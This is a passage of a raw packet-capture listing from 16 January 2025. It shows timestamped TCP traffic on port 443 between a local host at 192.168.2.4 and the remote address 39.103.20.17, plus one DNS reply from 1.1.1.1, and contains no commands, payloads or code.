Jan 16, 2025 03:54:26.062916994 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062946081 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062948942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.062988997 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063002110 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063033104 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063039064 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063101053 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063101053 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063116074 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063169956 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063200951 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063256979 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063303947 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063378096 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063435078 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063536882 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063541889 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063561916 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063606024 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063630104 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063668966 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063729048 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063766003 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063837051 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063855886 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.063910961 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.063945055 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.064008951 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.064595938 CET	53	63217	1.1.1.1	192.168.2.4
Jan 16, 2025 03:54:26.092608929 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.092689037 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.092761993 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.092823982 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.092909098 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.092972040 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093044996 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093113899 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093194008 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093254089 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093297005 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093353987 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093400955 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093451977 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093499899 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093553066 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093601942 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093660116 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093709946 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093766928 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093799114 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093852043 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093899965 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.093957901 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.093997955 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.094052076 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.094095945 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.094149113 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.094197035 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.094254017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.094291925 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.094348907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149594069 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149663925 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149684906 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149712086 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149749041 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149763107 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149789095 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149792910 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149856091 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149877071 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149878025 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149893045 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149916887 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149925947 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149943113 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149952888 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.149980068 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.149995089 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150022984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150032997 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150067091 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150080919 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150108099 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150120974 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150182009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150182009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150206089 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150264978 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150330067 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150392056 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150449038 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150511980 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150567055 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150645018 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150676966 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150738955 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150779963 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150850058 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.150882959 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.150952101 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.179723024 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.179804087 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.179868937 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.179959059 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180006981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180074930 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180136919 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180197954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180250883 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180315018 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180372000 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180435896 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180495024 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180556059 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180604935 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180670977 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180706978 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180763006 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180808067 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180856943 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.180910110 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.180964947 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.181006908 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.181061983 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.181107044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.181165934 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.181210995 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.181268930 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.181305885 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.181365013 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.181397915 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.181454897 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.236690044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.236769915 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.236835957 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.236896038 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.236918926 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.236970901 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.236984968 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237040997 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237055063 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237109900 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237138987 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237143040 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237186909 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237201929 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237221003 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237251997 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237263918 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237288952 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237293005 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237329006 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237339973 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237365961 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237370968 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237396002 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237406015 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237432003 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237442017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237478971 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237483025 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237494946 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237531900 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237546921 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237560034 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237571955 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237591982 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237601042 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237627029 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237636089 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237648964 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237672091 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237693071 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237700939 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237731934 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237756014 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237760067 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237781048 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237792015 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.237822056 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.237847090 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.240756989 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.266700983 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.266779900 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.266850948 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.266942024 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.266972065 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267030954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267095089 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267168999 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267193079 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267256975 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267298937 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267368078 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267443895 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267508030 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267549992 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267610073 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267649889 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267714024 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267751932 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267807961 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267858982 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.267918110 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.267956972 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.268062115 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.268069983 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.268091917 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.268126011 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.268151045 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.268187046 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.268239975 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.268239021 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.268269062 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.268302917 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.268323898 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.323637009 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323730946 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.323765993 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323781013 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323821068 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.323829889 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323867083 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.323875904 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323889017 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323889017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.323935032 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.323939085 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323954105 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.323993921 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324023008 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324027061 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324038982 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324095011 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324112892 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324181080 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324183941 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324197054 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324239969 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324259043 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324260950 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324271917 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324315071 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324331999 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324342966 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324373007 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324402094 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324419975 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324419975 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324443102 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324469090 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324474096 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324502945 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324515104 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324537992 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324541092 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324579954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324590921 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324623108 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324625015 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324644089 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324656010 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324676991 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324686050 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324727058 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.324742079 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.324796915 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.353637934 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.353811026 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.353873968 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.353873968 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.353940010 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.353991032 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.353997946 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354016066 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354052067 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354074955 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354131937 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354203939 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354247093 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354315996 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354362011 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354420900 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354460001 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354521990 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354558945 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354619980 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354665995 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354732990 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354767084 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354829073 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354868889 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.354933023 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.354974031 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.355036974 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.355076075 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.355137110 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.355175018 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.355237007 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.355271101 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.355336905 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.355405092 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.355470896 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.411474943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.411549091 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.411607027 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.411670923 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.411711931 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.411773920 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.411835909 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.411942959 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.411961079 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.411978960 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412013054 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412035942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412040949 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412071943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412108898 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412151098 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412194014 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412256002 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412301064 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412360907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412386894 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412446022 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412468910 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412533998 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412549973 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412609100 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412645102 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412705898 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412753105 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412832975 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412858963 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.412919044 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.412960052 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.413026094 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.413057089 CET	443	49743	39.103.20.17	192.168.2.4
